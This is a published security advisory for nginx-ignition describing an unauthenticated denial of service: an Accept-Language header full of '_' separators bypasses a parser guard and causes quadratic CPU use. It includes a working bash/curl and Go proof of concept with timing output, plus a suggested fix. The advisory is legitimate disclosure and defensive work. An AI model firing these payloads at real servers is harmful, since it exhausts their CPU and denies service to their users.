GHSA-jr34-h97m-9hpx

Suggest an improvement
Source
https://github.com/advisories/GHSA-jr34-h97m-9hpx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-jr34-h97m-9hpx/GHSA-jr34-h97m-9hpx.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jr34-h97m-9hpx
Aliases
Published
2026-09-21T21:49:03Z
Modified
2026-09-21T22:00:06Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
nginx ignition has ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware
Details

Summary

The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.

Affected versions

dillmann.com.br/nginx-ignition v2.40.0 and (per code inspection of main) earlier 2.x versions whose api/common/server/i18n.go middleware routes the Accept-Language header through language.ParseAcceptLanguage without imposing its own size or character filter. Verified on:

  • the official dillmann/nginx-ignition:latest Docker image at v2.40.0 (E2E below)
  • main at commit faef4c99442b329cfa4ee8879bdba41c22866a18 by reading api/common/server/i18n.go (the middleware is unchanged)

Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated /api/health style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.

Vulnerable code

api/common/server/i18n.go (blob SHA faef4c99442b329cfa4ee8879bdba41c22866a18):

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
    return func(ginCtx *gin.Context) {
        lang := commands.DefaultLanguage()

        langHeader := ginCtx.GetHeader("Accept-Language")
        tags, _, err := language.ParseAcceptLanguage(langHeader)
        if err == nil && len(tags) > 0 {
            for _, tag := range tags {
                if commands.Supports(tag) {
                    lang = tag
                    break
                }
            }
        }

        //nolint:staticcheck
        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
        ginCtx.Set(i18n.ContextKey, lang)
        ginCtx.Next()
    }
}

ginCtx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

Every HTTP request that hits the nginx-ignition API server passes through i18nMiddleware (registered as a global gin middleware). The middleware sequence is:

  1. The request enters i18nMiddleware.
  2. ginCtx.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. language.ParseAcceptLanguage(langHeader) runs unfiltered.

No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and /api/health (which returns 404 but still completes the middleware chain).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh dillmann/nginx-ignition:latest container:

docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest
sleep 5

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18090/api/health

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against dillmann/nginx-ignition:latest at v2.40.0)

A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18090/api/health"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official dillmann/nginx-ignition:latest image at v2.40.0):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at
api/common/server/i18n.go.

Target: http://127.0.0.1:18090/api/health   payload=1048576 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=404  t=10.336041ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=404  t=4.211583ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=404  t=3.276416ms
  guard-fires control ('-' x payload)          header=1048572 B  '_'=0  '-'=104857  status=404  t=31.683792ms
  attack ('_' x payload)                       header=1048572 B  '_'=104857  '-'=0  status=404  t=2.429408875s
  attack repeat 2                              header=1048572 B  '_'=104857  '-'=0  status=404  t=3.589948166s
  attack repeat 3                              header=1048572 B  '_'=104857  '-'=0  status=404  t=2.415860875s

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 3 - 11 ms
1 MiB - separators (CVE-2022-32149 guard fires) 1 MiB 32 ms
1 MiB _ separators (guard bypassed) 1 MiB 2.4 - 3.6 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 32 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).

Impact

  • One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.
  • The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.
  • Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.

Suggested fix

Apply the size / character-class filter inside the middleware before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// api/common/server/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
    return func(ginCtx *gin.Context) {
        lang := commands.DefaultLanguage()

        langHeader := ginCtx.GetHeader("Accept-Language")
        if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maxAcceptLanguageSeparators {
            // Refuse to call into the BCP 47 parser with absurd input.
            langHeader = ""
        }
        tags, _, err := language.ParseAcceptLanguage(langHeader)
        if err == nil && len(tags) > 0 {
            for _, tag := range tags {
                if commands.Supports(tag) {
                    lang = tag
                    break
                }
            }
        }

        //nolint:staticcheck
        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
        ginCtx.Set(i18n.ContextKey, lang)
        ginCtx.Next()
    }
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.

Database specific
{
    "cwe_ids":  [
        "CWE-770"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-21T21:49:03Z",
    "nvd_published_at":  "2026-09-21T15:17:30Z",
    "severity":  "HIGH"
}
References

Affected packages

Go / github.com/lucasdillmann/nginx-ignition

Package

Name
github.com/lucasdillmann/nginx-ignition
View open source insights on deps.dev
Purl
pkg:golang/github.com/lucasdillmann/nginx-ignition

Affected ranges

Type
SEMVER
Events
Introduced
0.0.0-20260126024607-cbaf0fc16ed8
Fixed
0.0.0-20260526022344-0c988fc1277c

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-jr34-h97m-9hpx/GHSA-jr34-h97m-9hpx.json"